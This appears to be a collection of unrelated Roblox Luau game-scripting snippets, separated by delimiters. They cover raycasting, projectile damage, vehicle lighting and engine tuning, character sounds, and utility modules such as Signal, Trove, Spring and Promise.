assert(typeof(Value) == "Vector3", "Bad argument \"" .. Index .. "\" (Vector3 expected, got " .. typeof(Value) .. ")")
ExtraForce = Value
end
end
end
--TRICK: I'm going to make dummy values for the properties and events.
--Roblox will show these in intellesence (the thing that suggests what to type in as you go)
IgnoreMode = true
Caster.RayHit = RayHit
Caster.LengthChanged = LengthChanged
Caster.IgnoreDescendantsInstance = IgnoreDescendantsInstance
Caster.Gravity = Gravity
Caster.ExtraForce = ExtraForce
Caster.HasPhysics = UsingPhysics()
IgnoreMode = false
--Better yet, while these values are just in the open, they will still be managed by the metatables.
CMeta.__metatable = "FastCaster"
return Caster
end
return FastCast
|
--[=[
Observes an instance's property
@param instance Instance
@param propertyName string
@return Observable<T>
]=]
|
function RxInstanceUtils.observeProperty(instance, propertyName)
assert(typeof(instance) == "Instance", "'instance' should be of type Instance")
assert(type(propertyName) == "string", "'propertyName' should be of type string")
return Observable.new(function(sub)
local maid = Maid.new()
maid:GiveTask(instance:GetPropertyChangedSignal(propertyName):Connect(function()
sub:Fire(instance[propertyName], instance)
end))
sub:Fire(instance[propertyName], instance)
return maid
end)
end
|
--vvv Made by Anaminus vvv---
|
local function NumNormal(n)
return n == 0 and 0 or n/math.abs(n)
end
function module.surface(part,point)
local p = part.CFrame:toObjectSpace(CFrame.new(point)).p
local s = part.Size
local ax,ay,az = math.abs(p.x/s.x),math.abs(p.y/s.y),math.abs(p.z/s.z)
return Vector3.new(NumNormal(p.x),NumNormal(p.y),NumNormal(p.z)) * Vector3.new(
(ax>ay and ax>az) and 1 or 0,
(ay>ax and ay>az) and 1 or 0,
(az>ax and az>ay) and 1 or 0
)
end
|
--// F key, Horn
|
mouse.KeyUp:connect(function(key)
if key=="f" then
veh.ELS.Sirens.AH.Transparency = 1
veh.ELS.Siren.Airhorn:Stop(3)
veh.ELS.Siren2.Airhorn:Stop(3)
veh.ELS.Sirens.Horn.Transparency = 1
veh.ELS.Sirens.Horn.Transparency = 3
veh.ELS.Siren.Wail.Volume = 3
veh.ELS.Siren.Yelp.Volume = 3
veh.ELS.Siren.Priority.Volume = 3
veh.ELS.Siren2.Wail.Volume = 3
veh.ELS.Siren2.Yelp.Volume = 3
veh.ELS.Siren2.Priority.Volume = 3
end
end)
|
-- Original script made by Luckymaxer [yes i edited this lol]
|
Projectile = script.Parent
Projectile.Size = Vector3.new(0.2,0.2,0.2)
Players = game:GetService("Players")
Debris = game:GetService("Debris")
Values = {}
for i, v in pairs(script:GetChildren()) do
if string.find(string.lower(v.ClassName), string.lower("Value")) then
Values[v.Name] = v
end
end
BaseProjectile = Values.BaseProjectile.Value
function GetCreator()
local Creator = Values.Creator.Value
return (((Creator and Creator.Parent and Creator:IsA("Player")) and Creator) or nil)
end
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function CheckTableForString(Table, String)
for i, v in pairs(Table) do
if string.find(string.lower(String), string.lower(v)) then
return true
end
end
return false
end
function CheckIntangible(Hit)
local ProjectileNames = {"Water", "Part", "Projectile", "Effect", "Rail", "Laser", "Bullet"}
if Hit and Hit.Parent then
if ((not Hit.CanCollide or CheckTableForString(ProjectileNames, Hit.Name)) and not Hit.Parent:FindFirstChild("Humanoid")) then
return true
end
end
return false
end
function CastRay(StartPos, Vec, Length, Ignore, DelayIfHit)
local Ignore = ((type(Ignore) == "table" and Ignore) or {Ignore})
local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)
if RayHit and CheckIntangible(RayHit) then
if DelayIfHit then
wait()
end
RayHit, RayPos, RayNormal = CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)
end
return RayHit, RayPos, RayNormal
end
function FlyProjectile(Part, StartPos)
local AlreadyHit = false
local Player = GetCreator()
local function PartHit(Hit)
if not Hit or not Hit.Parent or not Player then
return
end
local character = Hit.Parent
if character:IsA("Hat") then
character = character.Parent
end
if not character then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Values.Damage.Value)
return character
end
local function CheckForContact(Hit)
local Directions = {{Vector = Part.CFrame.lookVector, Length = (BaseProjectile.Size.Z + 2)}, {Vector = Vector3.new(0, -1, 0), Length = (BaseProjectile.Size.Y * 1.25)}, ((Hit and {Vector = CFrame.new(Part.Position, Hit.Position).lookVector, Length = (BaseProjectile.Size.Z + 2)}) or nil)}
local ClosestRay = {DistanceApart = math.huge}
for i, v in pairs(Directions) do
if v then
local Direction = CFrame.new(Part.Position, (Part.CFrame + v.Vector * 2).p).lookVector
local RayHit, RayPos, RayNormal = CastRay((Part.Position + Vector3.new(0, 0, 0)), Direction, v.Length, {((Player and Player.Character) or nil), Part}, false)
if RayHit then
local DistanceApart = (Part.Position - RayPos).Magnitude
if DistanceApart < ClosestRay.DistanceApart then
ClosestRay = {Hit = RayHit, Pos = RayPos, Normal = RayNormal, DistanceApart = DistanceApart}
end
end
end
end
return ((ClosestRay.Hit and ClosestRay) or nil)
end
local function ConnectPart(Hit)
if AlreadyHit then
return
end
local ClosestRay = CheckForContact(Hit)
if not ClosestRay then
return
end
AlreadyHit = true
for i, v in pairs(Part:GetChildren()) do
if v:IsA("BasePart") then
for ii, vv in pairs(v:GetChildren()) do
if vv:IsA("ParticleEmitter") then
vv.Enabled = false
v.Anchored = true
elseif vv:IsA("JointInstance") then
vv:Destroy()
end
end
Debris:AddItem(v, 8)
elseif string.find(string.lower(v.ClassName), string.lower("Body")) then
v:Destroy()
end
end
local SuccessfullyHit = PartHit(ClosestRay.Hit)
Part.Size = Vector3.new(0.2, 0.2, 0.2)
Part.CanCollide = false
local Hit = ClosestRay.Hit
if SuccessfullyHit and Hit.Parent:FindFirstChild("Humanoid") or Hit.Parent.Parent:FindFirstChild("Humanoid") then
script.HitE:Fire(Hit)
if Values.ProjectileLand.Value == true then
local ProjectilePosition = ClosestRay.Pos
local StickCFrame = CFrame.new(ProjectilePosition, StartPos)
StickCFrame = (StickCFrame * CFrame.new(0, 0, (-(BaseProjectile.Size.Z / 2) + 0)) * CFrame.Angles(0, math.pi, 0))
local Weld = Instance.new("Motor6D")
Weld.Part0 = Hit
Weld.Part1 = Part
Weld.C0 = CFrame.new(0, 0, 0)
Weld.C1 = (StickCFrame:inverse() * Hit.CFrame)
Weld.Parent = Part
Part.Orientation = Part.Orientation + Values.ProjectileLandRotation.Value
else
script.Parent:Destroy()
end
else
script.HitE:Fire(Hit)
if Values.ProjectileLand.Value == true then
local ProjectilePosition = ClosestRay.Pos
local StickCFrame = CFrame.new(ProjectilePosition, StartPos)
StickCFrame = (StickCFrame * CFrame.new(0, 0, (-(BaseProjectile.Size.Z / 2) + 0)) * CFrame.Angles(0, math.pi, 0))
local Weld = Instance.new("Motor6D")
Weld.Part0 = Hit
Weld.Part1 = Part
Weld.C0 = CFrame.new(0, 0, 0)
Weld.C1 = (StickCFrame:inverse() * Hit.CFrame)
Weld.Parent = Part
Part.Orientation = Part.Orientation + Values.ProjectileLandRotation.Value
else
script.Parent:Destroy()
end
end
delay(Values.Lifetime.Value,function()
Projectile:Destroy()
end)
Part.Name = "Effect"
end
Part.Touched:Connect(function(Hit)
if not Hit or not Hit.Parent or AlreadyHit then
return
end
ConnectPart(Hit)
end)
spawn(function()
while Part and Part.Parent and Part.Name ~= "Effect" and not AlreadyHit do
ConnectPart()
wait()
end
end)
end
FlyProjectile(Projectile, Values.Origin.Value)
|
--[=[
Checks if the given object is a Signal.
@param obj any -- Object to check
@return boolean -- `true` if the object is a Signal.
]=]
|
function Signal.Is(obj: any): boolean
return type(obj) == "table" and getmetatable(obj) == Signal
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 310 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 7200 -- Use sliders to manipulate values
Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 350 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--------------------------------------------------------------------------------
|
local F = {}
local function ToggleLightInstant(Group,TurnOn,SettingChange,HighBeamsOn,Braking)
if SettingChange and not tonumber(Debounce) then Debounce = 0 end
if TurnOn then
for Index,Value in pairs(Group:GetDescendants()) do
if Value:IsA("BasePart") then
Value.Material = "Neon"
elseif Value:IsA("Light") then
Value.Enabled = true
if HighBeamsOn == true then
Value.Color = Color3.fromRGB(H_BEAM_COLOR[1],H_BEAM_COLOR[2],H_BEAM_COLOR[3])
Value.Range = H_BEAM_RANGE
Value.Brightness = H_BEAM_BRIGHTNESS
elseif HighBeamsOn == false then
Value.Color = Color3.fromRGB(L_BEAM_COLOR[1],L_BEAM_COLOR[2],L_BEAM_COLOR[3])
Value.Range = L_BEAM_RANGE
Value.Brightness = L_BEAM_BRIGHTNESS
end
if Braking and Group == TL then
Value.Range = B_LIGHT_RANGE
Value.Brightness = B_LIGHT_BRIGHTNESS
elseif not Braking and Group == TL then
Value.Range = T_LIGHT_RANGE
Value.Brightness = T_LIGHT_BRIGHTNESS
end
end
end
else
for Index,Value in pairs(Group:GetDescendants()) do
if Value:IsA("BasePart") then
if Braking and CurrentMode < 4 then
Value.Material = "Neon"
else
Value.Material = "SmoothPlastic"
end
elseif Value:IsA("Light") then
Value.Enabled = false
if Braking and CurrentMode < 4 then
Value.Enabled = true
Value.Range = T_LIGHT_RANGE
Value.Brightness = T_LIGHT_BRIGHTNESS
end
end
end
end
if SettingChange and tonumber(Debounce) then Debounce += 1 end
if CurrentMode == 4 and Debounce == 3 then Debounce = true
elseif CurrentMode == 1 and Debounce == 2 then Debounce = true
elseif CurrentMode == 2 and Debounce == 1 then Debounce = true
elseif CurrentMode == 3 and Debounce == 1 then Debounce = true
end
end
local function ToggleLightFade(Group,TurnOn,SettingChange,HighBeamsOn,Braking)
local Lights = {}
if SettingChange and not tonumber(Debounce) then Debounce = 0 end
if TurnOn then
for Index,Value in pairs(Group:GetDescendants()) do
if Value:IsA("BasePart") then
Value.Material = "Neon"
elseif Value:IsA("Light") then
table.insert(Lights,Value)
Value.Enabled = true
if HighBeamsOn == true then
Value.Color = Color3.fromRGB(H_BEAM_COLOR[1],H_BEAM_COLOR[2],H_BEAM_COLOR[3])
Value.Range = H_BEAM_RANGE
Value.Brightness = H_BEAM_BRIGHTNESS
elseif HighBeamsOn == false then
Value.Color = Color3.fromRGB(L_BEAM_COLOR[1],L_BEAM_COLOR[2],L_BEAM_COLOR[3])
Value.Range = L_BEAM_RANGE
Value.Brightness = L_BEAM_BRIGHTNESS
end
if Braking and Group == TL then
Value.Range = B_LIGHT_RANGE
Value.Brightness = B_LIGHT_BRIGHTNESS
elseif not Braking and Group == TL then
Value.Range = T_LIGHT_RANGE
Value.Brightness = T_LIGHT_BRIGHTNESS
end
end
end
local Cache = {}
for Index,Value in pairs(Lights) do
table.insert(Cache,Value.Range)
table.insert(Cache,Value.Brightness)
if Braking and Group == TL then
Value.Range = T_LIGHT_RANGE
Value.Brightness = T_LIGHT_BRIGHTNESS
else
Value.Range = 0
Value.Brightness = 0
end
end
for Index,Value in pairs(Lights) do
TS:Create(Value,FadeTweenInfo,{Range = Cache[Index*2-1]}):Play()
TS:Create(Value,FadeTweenInfo,{Brightness = Cache[Index*2]}):Play()
end
wait(FADE_TIME)
else
for Index,Value in pairs(Group:GetDescendants()) do
if Value:IsA("BasePart") then
if Braking and CurrentMode < 4 then
Value.Material = "Neon"
else
Value.Material = "SmoothPlastic"
end
elseif Value:IsA("Light") then
table.insert(Lights,Value)
if Braking and CurrentMode < 4 then Value.Enabled = true end
end
end
local Cache = {}
for Index,Value in pairs(Lights) do
table.insert(Cache,Value.Range)
table.insert(Cache,Value.Brightness)
end
if Braking == nil then
for Index,Value in pairs(Lights) do
TS:Create(Value,FadeTweenInfo,{Range = 0}):Play()
TS:Create(Value,FadeTweenInfo,{Brightness = 0}):Play()
end
wait(FADE_TIME)
elseif Braking == true then
for Index,Value in pairs(Lights) do
if CurrentMode == 4 then
TS:Create(Value,BrakeFadeInfo,{Range = 0}):Play()
TS:Create(Value,BrakeFadeInfo,{Brightness = 0}):Play()
elseif CurrentMode < 4 then
TS:Create(Value,BrakeFadeInfo,{Range = T_LIGHT_RANGE}):Play()
TS:Create(Value,BrakeFadeInfo,{Brightness = T_LIGHT_BRIGHTNESS}):Play()
end
end
wait(B_LIGHT_FADE_TIME)
for Index,Value in pairs(Lights) do
Value.Range = T_LIGHT_RANGE
Value.Brightness = T_LIGHT_BRIGHTNESS
end
end
for Index,Value in pairs(Lights) do
if Braking and CurrentMode < 4 then
Value.Enabled = true
else
Value.Enabled = false
Value.Range = Cache[Index*2-1]
Value.Brightness = Cache[Index*2]
end
end
end
if SettingChange and tonumber(Debounce) then Debounce += 1 end
if CurrentMode == 4 and Debounce == 3 then Debounce = true
elseif CurrentMode == 1 and Debounce == 2 then Debounce = true
elseif CurrentMode == 2 and Debounce == 1 then Debounce = true
elseif CurrentMode == 3 and Debounce == 1 then Debounce = true
end
end
F.ChangeLight = function()
if tonumber(Debounce) then return end
if CurrentMode == 4 then
if Debounce == true then
CurrentMode = 1
Debounce = false
F.ChangeLight()
return
elseif Debounce == false then
if LIGHT_FADE then
spawn(function() ToggleLightFade(FL,false,true) end)
spawn(function() ToggleLightFade(HL,false,true) end)
spawn(function() ToggleLightFade(TL,false,true) end)
else
spawn(function() ToggleLightInstant(FL,false,true) end)
spawn(function() ToggleLightInstant(HL,false,true) end)
spawn(function() ToggleLightInstant(TL,false,true) end)
end
end
elseif CurrentMode == 1 then
if Debounce == true then
CurrentMode += 1
Debounce = false
F.ChangeLight()
return
elseif Debounce == false then
if LIGHT_FADE then
spawn(function() ToggleLightFade(HL,true,true,false) end)
spawn(function() ToggleLightFade(TL,true,true) end)
else
spawn(function() ToggleLightInstant(HL,true,true,false) end)
spawn(function() ToggleLightInstant(TL,true,true) end)
end
end
elseif CurrentMode == 2 then
if Debounce == true then
CurrentMode += 1
Debounce = false
F.ChangeLight()
return
elseif Debounce == false then
if LIGHT_FADE then
ToggleLightFade(HL,true,true,true)
else
ToggleLightInstant(HL,true,true,true)
end
end
elseif CurrentMode == 3 and FOG_LIGHTS then
if Debounce == true then
CurrentMode += 1
Debounce = false
F.ChangeLight()
return
elseif Debounce == false then
if LIGHT_FADE then
ToggleLightFade(FL,true,true)
else
ToggleLightInstant(FL,true,true)
end
end
elseif CurrentMode == 3 and not FOG_LIGHTS then
CurrentMode += 1
Debounce = false
F.ChangeLight()
end
end
F.Indicators = function(Type)
if CurrentIndicators == "Off" then
BreakINDLoop = false
CurrentIndicators = Type
elseif CurrentIndicators == Type then
BreakINDLoop = true
return
elseif CurrentIndicators ~= Type then
BreakINDLoop = true
repeat wait() until CurrentIndicators == "Off"
wait(IND_TICK_TIME)
spawn(F.Indicators(Type))
return
end
if Type ~= "Hazards" then
while true do
ToggleLightInstant(IN[Type],true)
wait(IND_TICK_TIME)
ToggleLightInstant(IN[Type],false)
if not BreakINDLoop then wait(IND_TICK_TIME)
else BreakINDLoop = false CurrentIndicators = "Off" return end
end
elseif Type == "Hazards" then
while true do
ToggleLightInstant(IN.Left,true)
ToggleLightInstant(IN.Right,true)
wait(IND_TICK_TIME)
ToggleLightInstant(IN.Left,false)
ToggleLightInstant(IN.Right,false)
if not BreakINDLoop then wait(IND_TICK_TIME)
else BreakINDLoop = false CurrentIndicators = "Off" return end
end
end
end
F.RunningLights = function(IsOn)
if LIGHT_FADE then
ToggleLightFade(RN,IsOn,false)
else
ToggleLightInstant(RN,IsOn,true)
end
end
F.Braking = function(Value)
if Value == true then
if LIGHT_FADE then
ToggleLightFade(TL,false,false,nil,true)
else
ToggleLightInstant(TL,false,false,nil,true)
end
else
if LIGHT_FADE then
ToggleLightFade(TL,true,false,nil,true)
else
ToggleLightInstant(TL,true,false,nil,true)
end
end
end
F.Reverse = function(Value)
if Value == -1 then
if LIGHT_FADE then
ToggleLightFade(RL,true,false)
else
ToggleLightInstant(RL,true,false)
end
else
if LIGHT_FADE then
ToggleLightFade(RL,false,false)
else
ToggleLightInstant(RL,false,false)
end
end
end
F.Setup = function(MainSettingTable,MiscSettingTable,ModelsTable,OtherVariables)
--Main Settings
FOG_LIGHTS = MainSettingTable[1]
LIGHT_FADE = MainSettingTable[2]
--Miscellaneous Settings
FADE_TIME = MiscSettingTable[1]
FADE_TWNSTYLE = MiscSettingTable[2]
FADE_TWNDIRECTION = MiscSettingTable[3]
IND_TICK_TIME = MiscSettingTable[4]
L_BEAM_COLOR = MiscSettingTable[5]
L_BEAM_RANGE = MiscSettingTable[6]
L_BEAM_BRIGHTNESS = MiscSettingTable[7]
H_BEAM_COLOR = MiscSettingTable[8]
H_BEAM_RANGE = MiscSettingTable[9]
H_BEAM_BRIGHTNESS = MiscSettingTable[10]
T_LIGHT_RANGE = MiscSettingTable[11]
T_LIGHT_BRIGHTNESS = MiscSettingTable[12]
B_LIGHT_RANGE = MiscSettingTable[13]
B_LIGHT_BRIGHTNESS = MiscSettingTable[14]
B_LIGHT_FADE_TIME = MiscSettingTable[15]
--Models
FL = ModelsTable[1]
HL = ModelsTable[2]
IN = ModelsTable[3]
RL = ModelsTable[4]
RN = ModelsTable[5]
TL = ModelsTable[6]
--Other Variables
CurrentMode = OtherVariables[1]
Debounce = OtherVariables[2]
CurrentIndicators = OtherVariables[3]
BreakINDLoop = OtherVariables[4]
FadeTweenInfo = TweenInfo.new(FADE_TIME,Enum.EasingStyle[FADE_TWNSTYLE],Enum.EasingDirection[FADE_TWNDIRECTION])
BrakeFadeInfo = TweenInfo.new(B_LIGHT_FADE_TIME,Enum.EasingStyle[FADE_TWNSTYLE],Enum.EasingDirection[FADE_TWNDIRECTION])
local function CreateModel(Variable,Indicator)
local CloneModel = Instance.new("Model",Car.Body)
if Indicator then
local LeftModel = Instance.new("Model",CloneModel)
local RightModel = Instance.new("Model",CloneModel)
LeftModel.Name = "Left"
RightModel.Name = "Right"
end
return CloneModel
end
if FL == nil then FL = CreateModel(FL,false) end
if HL == nil then HL = CreateModel(HL,false) end
if IN == nil then IN = CreateModel(IN,true) end
if RL == nil then RL = CreateModel(RL,false) end
if RN == nil then RN = CreateModel(RN,false) end
if TL == nil then TL = CreateModel(TL,false) end
end
script.Parent.OnServerEvent:Connect(function(plr,Fnc,...)
F[Fnc](...)
end)
|
--[=[
@param object any -- Object to track
@param cleanupMethod string? -- Optional cleanup name override
@return object: any
Adds an object to the trove. Once the trove is cleaned or
destroyed, the object will also be cleaned up.
The following types are accepted (e.g. `typeof(object)`):
| Type | Cleanup |
| ---- | ------- |
| `Instance` | `object:Destroy()` |
| `RBXScriptConnection` | `object:Disconnect()` |
| `function` | `object()` |
| `thread` | `coroutine.close(object)` |
| `table` | `object:Destroy()` _or_ `object:Disconnect()` |
| `table` with `cleanupMethod` | `object:<cleanupMethod>()` |
Returns the object added.
```lua
-- Add a part to the trove, then destroy the trove,
-- which will also destroy the part:
local part = Instance.new("Part")
trove:Add(part)
trove:Destroy()
-- Add a function to the trove:
trove:Add(function()
print("Cleanup!")
end)
trove:Destroy()
-- Standard cleanup from table:
local tbl = {}
function tbl:Destroy()
print("Cleanup")
end
trove:Add(tbl)
-- Custom cleanup from table:
local tbl = {}
function tbl:DoSomething()
print("Do something on cleanup")
end
trove:Add(tbl, "DoSomething")
```
]=]
|
function Trove:Add(object: any, cleanupMethod: string?): any
local cleanup = GetObjectCleanupFunction(object, cleanupMethod)
table.insert(self._objects, {object, cleanup})
return object
end
|
--[[
local dataStore = game:GetService("DataStoreService") -- gets the data store service
local data = dataStore:GetDataStore("Stats") -- makes a new data stored named "stats"
game.Players.PlayerAdded:Connect(function(plr) -- when a player joins the game
local leaderstats = Instance.new("Folder") -- we make a leaderstats that will hold the visible stats of a player
leaderstats.Name = "leaderstats"
leaderstats.Parent = plr
local Clicks = Instance.new("NumberValue") -- we make a stat named coins, you can name it whatever you want
Clicks.Name = "Clicks"
Clicks.Parent = leaderstats
local Rebirths = Instance.new("NumberValue") -- we make a second stat named xp, you can also name it whatever you want instead
Rebirths.Name = "Rebirths"
Rebirths.Parent = leaderstats
local Gems = Instance.new("NumberValue") -- we make a second stat named xp, you can also name it whatever you want instead
Gems.Name = "Gems"
Gems.Parent = leaderstats
local Clicks
local Rebirths
local Gems
Clicks = data:GetAsync(plr.UserId.."-Clicks")
-- ^^ we see if the the coin stat has been saved in the players key (their user ID) and we save coins in the "Coins" data key so we know we know we are saving coins
Rebirths = data:GetAsync(plr.UserId.."-Rebirths")-- same as the top except its with the xp stat
Gems = data:GetAsync(plr.UserId.."-Gems")-- same as the top except its with the xp stat
if Clicks ~= nil then -- if the player has coins saved (more than 0)
plr.leaderstats.Clicks.Value = Clicks
end
if Rebirths ~= nil then -- if the player has xp saved (more than 0)
plr.leaderstats.Rebirths.Value = Rebirths
end
if Gems ~= nil then -- if the player has xp saved (more than 0)
plr.leaderstats.Gems.Value = Gems
end
end)
game.Players.PlayerRemoving:Connect(function(plr) -- when the players leave
local sucess, errormsg = pcall(function() -- pcall function helps the script to contain the error if there is one instead of breaking the entire script
data:SetAsync(plr.UserId.."-Clicks", plr.leaderstats.Clicks.Value) -- the players stats will be set to the players sync for coins
data:SetAsync(plr.UserId.."-Rebirths", plr.leaderstats.Rebirths.Value) -- same thing but with the xp stat
data:SetAsync(plr.UserId.."-Gems", plr.leaderstats.Gems.Value) -- same thing but with the xp stat
end)
if errormsg then -- if theres an error with the data store
warn("error")
end
end)
--]]
| |
-- map a value from one range to another
|
local function map(x, inMin, inMax, outMin, outMax)
return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
end
local function playSound(sound)
sound.TimePosition = 0
sound.Playing = true
end
local function stopSound(sound)
sound.Playing = false
sound.TimePosition = 0
end
local function initializeSoundSystem(player, humanoid, rootPart)
local sounds = {}
-- initialize sounds
for name, props in pairs(SOUND_DATA) do
local sound = Instance.new("Sound")
sound.Name = name
-- set default values
sound.Archivable = false
sound.EmitterSize = 5
sound.MaxDistance = 150
sound.Volume = 0.65
for propName, propValue in pairs(props) do
sound[propName] = propValue
end
sound.Parent = rootPart
sounds[name] = sound
end
local playingLoopedSounds = {}
local function stopPlayingLoopedSounds(except)
for sound in pairs(playingLoopedSounds) do
if sound ~= except then
sound.Playing = false
playingLoopedSounds[sound] = nil
end
end
end
-- state transition callbacks
local stateTransitions = {
[Enum.HumanoidStateType.FallingDown] = function()
stopPlayingLoopedSounds()
end,
[Enum.HumanoidStateType.GettingUp] = function()
stopPlayingLoopedSounds()
playSound(sounds.GettingUp)
end,
[Enum.HumanoidStateType.Jumping] = function()
stopPlayingLoopedSounds()
playSound(sounds.Jumping)
end,
[Enum.HumanoidStateType.Swimming] = function()
local verticalSpeed = math.abs(rootPart.Velocity.Y)
if verticalSpeed > 0.1 then
sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)
playSound(sounds.Splash)
end
stopPlayingLoopedSounds(sounds.Swimming)
sounds.Swimming.Playing = true
playingLoopedSounds[sounds.Swimming] = true
end,
[Enum.HumanoidStateType.Freefall] = function()
sounds.FreeFalling.Volume = 0
stopPlayingLoopedSounds(sounds.FreeFalling)
playingLoopedSounds[sounds.FreeFalling] = true
end,
[Enum.HumanoidStateType.Landed] = function()
stopPlayingLoopedSounds()
local verticalSpeed = math.abs(rootPart.Velocity.Y)
if verticalSpeed > 75 then
sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)
playSound(sounds.Landing)
end
end,
[Enum.HumanoidStateType.Running] = function()
stopPlayingLoopedSounds(sounds.Running)
sounds.Running.Playing = true
playingLoopedSounds[sounds.Running] = true
end,
[Enum.HumanoidStateType.Climbing] = function()
local sound = sounds.Climbing
if math.abs(rootPart.Velocity.Y) > 0.1 then
sound.Playing = true
stopPlayingLoopedSounds(sound)
else
stopPlayingLoopedSounds()
end
playingLoopedSounds[sound] = true
end,
[Enum.HumanoidStateType.Seated] = function()
stopPlayingLoopedSounds()
end,
[Enum.HumanoidStateType.Dead] = function()
stopPlayingLoopedSounds()
playSound(sounds.Died)
end,
}
-- updaters for looped sounds
local loopedSoundUpdaters = {
[sounds.Climbing] = function(dt, sound, vel)
sound.Playing = vel.Magnitude > 0.1
end,
[sounds.FreeFalling] = function(dt, sound, vel)
if vel.Magnitude > 75 then
sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)
else
sound.Volume = 0
end
end,
[sounds.Running] = function(dt, sound, vel)
--sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5
sound.SoundId = ""
sound.PlaybackSpeed = 0
sound.Volume = 0
sound.EmitterSize = 0
end,
}
-- state substitutions to avoid duplicating entries in the state table
local stateRemap = {
[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,
}
local activeState = stateRemap[humanoid:GetState()] or humanoid:GetState()
local activeConnections = {}
local stateChangedConn = humanoid.StateChanged:Connect(function(_, state)
state = stateRemap[state] or state
if state ~= activeState then
local transitionFunc = stateTransitions[state]
if transitionFunc then
transitionFunc()
end
activeState = state
end
end)
local steppedConn = RunService.Stepped:Connect(function(_, worldDt)
-- update looped sounds on stepped
for sound in pairs(playingLoopedSounds) do
local updater = loopedSoundUpdaters[sound]
if updater then
updater(worldDt, sound, rootPart.Velocity)
end
end
end)
local humanoidAncestryChangedConn
local rootPartAncestryChangedConn
local characterAddedConn
local function terminate()
stateChangedConn:Disconnect()
steppedConn:Disconnect()
humanoidAncestryChangedConn:Disconnect()
rootPartAncestryChangedConn:Disconnect()
characterAddedConn:Disconnect()
end
humanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent)
if not parent then
terminate()
end
end)
rootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent)
if not parent then
terminate()
end
end)
characterAddedConn = player.CharacterAdded:Connect(terminate)
end
local function playerAdded(player)
local function characterAdded(character)
-- Avoiding memory leaks in the face of Character/Humanoid/RootPart lifetime has a few complications:
-- * character deparenting is a Remove instead of a Destroy, so signals are not cleaned up automatically.
-- ** must use a waitForFirst on everything and listen for hierarchy changes.
-- * the character might not be in the dm by the time CharacterAdded fires
-- ** constantly check consistency with player.Character and abort if CharacterAdded is fired again
-- * Humanoid may not exist immediately, and by the time it's inserted the character might be deparented.
-- * RootPart probably won't exist immediately.
-- ** by the time RootPart is inserted and Humanoid.RootPart is set, the character or the humanoid might be deparented.
if not character.Parent then
waitForFirst(character.AncestryChanged, player.CharacterAdded)
end
if player.Character ~= character or not character.Parent then
return
end
local humanoid = character:FindFirstChildOfClass("Humanoid")
while character:IsDescendantOf(game) and not humanoid do
waitForFirst(character.ChildAdded, character.AncestryChanged, player.CharacterAdded)
humanoid = character:FindFirstChildOfClass("Humanoid")
end
if player.Character ~= character or not character:IsDescendantOf(game) then
return
end
-- must rely on HumanoidRootPart naming because Humanoid.RootPart does not fire changed signals
local rootPart = character:FindFirstChild("HumanoidRootPart")
while character:IsDescendantOf(game) and not rootPart do
waitForFirst(character.ChildAdded, character.AncestryChanged, humanoid.AncestryChanged, player.CharacterAdded)
rootPart = character:FindFirstChild("HumanoidRootPart")
end
if rootPart and humanoid:IsDescendantOf(game) and character:IsDescendantOf(game) and player.Character == character then
initializeSoundSystem(player, humanoid, rootPart)
end
end
if player.Character then
characterAdded(player.Character)
end
player.CharacterAdded:Connect(characterAdded)
end
Players.PlayerAdded:Connect(playerAdded)
for _, player in ipairs(Players:GetPlayers()) do
playerAdded(player)
end
repeat
wait()
until game.Players.LocalPlayer.Character
local Character = game.Players.LocalPlayer.Character
local Head = Character:WaitForChild("HumanoidRootPart")
local RunningSound = Head:WaitForChild("Running")
local Humanoid = Character:WaitForChild("Humanoid")
local vel = 0
Humanoid.Changed:Connect(function(property)
end)
Humanoid.Running:connect(function(a)
RunningSound.PlaybackSpeed = 1
RunningSound.Volume = 0
RunningSound.EmitterSize = 0
vel = a
end)
|
--- Creates a new spring
-- @param initial A number or Vector3 (anything with * number and addition/subtraction defined)
-- @param[opt=tick] clock function to use to update spring
|
function Spring.new(initial, clock)
local target = initial or 0
clock = clock or tick
return setmetatable({
_clock = clock;
_time0 = clock();
_position0 = target;
_velocity0 = 0*target;
_target = target;
_damper = 1;
_speed = 1;
}, Spring)
end
|
--[[
An implementation of Promises similar to Promise/A+.
]]
|
local ERROR_NON_PROMISE_IN_LIST = "Non-promise value passed into %s at index %s"
local ERROR_NON_LIST = "Please pass a list of promises to %s"
